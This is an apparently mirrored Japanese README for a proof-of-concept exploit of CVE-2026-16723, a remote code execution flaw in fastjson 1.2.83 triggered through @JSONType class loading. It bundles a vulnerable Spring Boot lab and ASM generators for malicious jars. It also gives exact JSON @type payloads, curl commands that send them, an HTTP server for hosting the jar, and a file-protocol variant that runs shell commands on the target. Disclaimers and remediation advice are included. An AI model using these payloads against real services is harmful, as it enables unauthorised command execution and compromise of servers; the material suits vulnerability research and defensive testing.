## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SUPERMAN-L-CVE-2026-16723
# 🚨 CVE-2026-16723 — fastjson 1.2.83 `@JSONType` リソース探索チェーン RCE
    
_fastjson 1.2.66 ~ 1.2.83 における`@JSONType` アノテーション + 不正なクラス名 + `jar:` プロトコルを使ったリモートクラスロード / コマンド実行の再現プロジェクト。_
> ⚠️ **免責事項**
>
> 本プロジェクトは**セキュリティ研究、脆弱性の再現、認可されたテスト** のみを目的としています。許可のないシステムへの使用、不正な攻撃、悪意のある用途は固く禁じられています。 利用者は自身の行動に対して全責任を負い、著者はいかなる悪用に対しても法的責任を負いません。
* * *
脆弱性分析記事の参考: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
* * *
##
## 📖 プロジェクト概要
本プロジェクトは **CVE-2026-16723** を中心に、完全な fastjson 1.2.83 脆弱性再現環境を構築します:
* `demo/` —— 脆弱性のある Spring Boot 2.7.18 Web アプリケーション(fastjson 1.2.83 に依存)。外部に `POST /parse` エンドポイントを公開し、`JSON.parse(json)` を直接呼び出します;
* `exp/` —— **ASM** ベースの悪意あるプローブ jar ジェネレーター(HTTP プロトコル / FILE プロトコルの2形態);
* `环境/` —— プリコンパイル済みの3種類のミドルウェア FatJar(Tomcat / Jetty / Undertow)、すぐにそのまま使用可能。
利用の核となる考え方:`@type` が **jar URL** である特別な JSON を構築し、fastjson を `@JSONType` アノテーションの信頼ブランチ → `getResourceAsStream` によるリモート/ローカル jar のダウンロード → `defineClass` による悪意あるクラスのロード → クラス初期化時の `<clinit>` トリガー → **任意コマンド実行(RCE)** と進めます。
* * *
## 🎯 脆弱性の概要
### 利用条件
1. **ターゲットコード** :`JSON.parse(json)` または `JSON.parseObject(json)` を使用して信頼できない入力を直接解析しており、 fastjson のバージョンが `1.2.66 ~ 1.2.83` で、`safeMode` が無効であること;
2. **ターゲットの実行形態** :Spring Boot **FatJar** (`java -jar` で起動、`LaunchedURLClassLoader`、 Spring Boot ≤ 2.7 でのみ `jar:` プロトコル Handler のフォールバック機能が保持される);
3. **ターゲット JVM** :**JDK 8** (JDK 9+ では `defineClass` が `ClassFormatError` をスローし、最大でも SSRF しか実行できません);
4. **ネットワーク到達性** :ターゲットが攻撃機の HTTP ポートにアクセスできる(HTTP プロトコルチェーン)、またはローカルの jar ファイルを読み取れる(FILE プロトコルチェーン)。
* * *
## 🧩 脆弱性の原理
fastjson の `checkAutoType` は、`@JSONType` アノテーションを持つクラスに遭遇すると**信頼ブランチ** に入り、 ほとんどのブラックリスト検証をスキップしてロードを許可します。本プロジェクトはこれを利用し、**ASM で直接バイトコードを書き** 、 【不正な内部クラス名】を class 定数プールの `this_class` に書き込んで、3箇所の名前を完全に一致させます:
root@kitploit:~
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
悪意あるクラスの構造:
1. **`@JSONType` アノテーション** —— fastjson の `checkAutoType` 信頼ブランチを開く鍵;
2. **デフォルトコンストラクタ`<init>()V`** —— fastjson が正常にインスタンス化できることを保証;
3. **`<clinit>` 静的初期化ブロック** —— クラスロード時の初期化で即座に `Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"})` を実行し、コマンド実行を実現。
> 不正なクラス名は `javac` では書き出せず、ASM だけが URL を直接定数プールに書き込めます —— これが本プロジェクトの ジェネレーターが `asm-9.6.jar` に依存する理由です。
* * *
## 📁 プロジェクト構成
root@kitploit:~
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
### ラボ環境のインターフェース
`demo/src/main/java/com/example/demo/controller/VulController.java`:
root@kitploit:~
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
* * *
## 🚀 クイックスタート
### 1\. 脆弱性ラボの起動
> ラボは **JDK 8** 環境で実行する必要があります(利用条件と一致)。
root@kitploit:~
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
起動後のエンドポイントアドレス:`http://127.0.0.1:8080/parse`
* * *
## 💥 エクスプロイト
### 方法1:HTTP プロトコルチェーン(jar:http、推奨)
#### ① ジェネレーターのコンパイル
root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
#### ② 悪意あるプローブ jar の生成
root@kitploit:~
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
* `19090` —— 悪意ある jar の HTTP ホスティングポート
* `open -a Calculator` —— ターゲットマシンで実行するコマンド(macOS では電卓が起動します; Linux では `id > /tmp/pwned 2>&1` を使用し、ファイルの存在を確認します)
デフォルトでファイル `x`(拡張子なし)が生成され、内部に `y.class` が含まれ、 payload は次のとおり:
root@kitploit:~
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
#### ③ 悪意ある jar のホスティング(HTTP サービス)
root@kitploit:~
python3 -m http.server 19090
> `python3 -m http.server` は、`x` ファイルを生成したディレクトリで起動してください。
#### ④ ターゲットへ payload を送信
root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
#### ⑤ 検証
コマンド実行の結果は HTTP レスポンスには**表示されません** 。ターゲットマシン上で確認する必要があります:
root@kitploit:~
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
* * *
### 方法2:FILE プロトコルチェーン(jar:file)
適用シナリオ:ターゲットが**攻撃機の HTTP ポートにアクセスできない** 場合(内部ネットワークの分離 / アウトバウンド制限)でも、 jar ファイルをターゲットマシンのファイルシステムに配置できる場合。
#### ① ジェネレーターのコンパイル
root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbefile.java
#### ② ターゲットの対応ディレクトリでプローブ jar を生成
root@kitploit:~
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
ジェネレーターは**カレントディレクトリ** に基づいて `jar:file:` URL を計算します(ディレクトリ区切り文字 `/` は `.` に置き換えられます)。 例えば `/tmp/project/exp` で生成した場合、payload は次のとおり:
root@kitploit:~
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
#### ③ 生成した jar をターゲットマシンの対応ディレクトリに配置
生成したファイル `y` を、ターゲットマシン上の `@type` に対応する絶対パス (例:`/tmp/project/exp/y`)にアップロード/コピーし、ディレクトリ構造を一致させます。
#### ④ ターゲットへ payload を送信
root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
> 注意:FILE プロトコルチェーンのパスは、ターゲットマシン上の実際のファイルパスと**完全に一致** している必要があります。 一致しない場合、リソース探索は失敗し、ロードをトリガーできません。
* * *
## ⚙️ ジェネレーターパラメーターの説明
### GenProbeHttp(HTTP プロトコルチェーン)
### GenProbefile(FILE プロトコルチェーン)
### IP の整数形式変換
`2130706433` は `127.0.0.1` の符号なし 32 ビット整数です。整数で記述することで、IP 内の `.` が fastjson の `.` → `/` 置換ロジックによって壊れるのを防げます。攻撃機がローカルにない場合:
root@kitploit:~
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
* * *
## 🔍 よくある質問
### エラー `autoType is not support. jar:http:...` が発生
jar はダウンロードできている(SSRF は成立している)ことを示しますが、`TypeUtils.loadClass` が `null` を返しています。 原因はほぼ次の2つだけです:
1. **悪意あるクラスに`@JSONType` アノテーションがない** —— 信頼ブランチの探索を通過できず、`loadClass` にすら到達しません;
2. **悪意あるクラスの内部クラス名が`@type` と一致しない** —— `defineClass` でクラス名が実体と一致せず、ロードに失敗します。
本プロジェクトのジェネレーターはこの2点を同時に解決しています:`@JSONType` アノテーション + 3箇所の名前の一致。
### 単発の jar:http でも RCE できない?
ターゲットの ClassLoader が `LaunchedURLClassLoader` でない場合 (例:IDE で直接 Run、通常の war パッケージ、Spring Boot 3.x)、単発の `jar:http` チェーンでは RCE できず、 最大でも SSRF の検証しかできません。
### なぜ JDK 8 が必要なのか?
JDK 9+ の `defineClass` は不正なクラス名に対する検証がより厳格で、`ClassFormatError` をスローするため、 チェーンはロード段階で途切れます。
* * *
## 🛡 修正の推奨事項
1. **コンポーネントのアップグレード** :fastjson 1.x はメンテナンスが終了しているため、**fastjson2** への移行 (または修正済みバージョンへのアップグレード)を推奨し、公式のセキュリティアドバイザリを確認してください;
2. **safeMode の有効化** :`ParserConfig.getGlobalInstance().setSafeMode(true);` で autoType を完全に無効化できます;
3. **信頼できない入力の解析を避ける** :ユーザー入力に対して `JSON.parse(json)` / `JSON.parseObject(json)` を直接呼び出さず、可能な限り `JSON.parseObject(json, Xxx.class)` で対象の型を明示的に指定してください;
4. **ブラックリスト / ホワイトリストの使用** :`ParserConfig.addAccept(...)` で信頼できるクラスのみを許可;
5. **Spring Boot / JDK のアップグレード** :より新しいバージョンの JDK と Spring Boot を使用することで、攻撃可能な面を減らせます;
6. **露出の最小化** :インターネットに公開するエンドポイントに認証を施し、WAF で疑わしい `@type` ペイロードをブロックします。
* * *
## 📚 参考
* fastjson 公式 GitHub:https://github.com/alibaba/fastjson
* fastjson セキュリティアドバイザリ / 脆弱性情報:https://github.com/alibaba/fastjson/wiki/security_update_guidance
* * *
このプロジェクトが役に立ったなら、ぜひ ⭐ Star でセキュリティ研究と脆弱性ドキュメントの整備を支援してください。
**⚠️ 認可されたテストのみに使用し、決して不正な用途に使用しないでください!**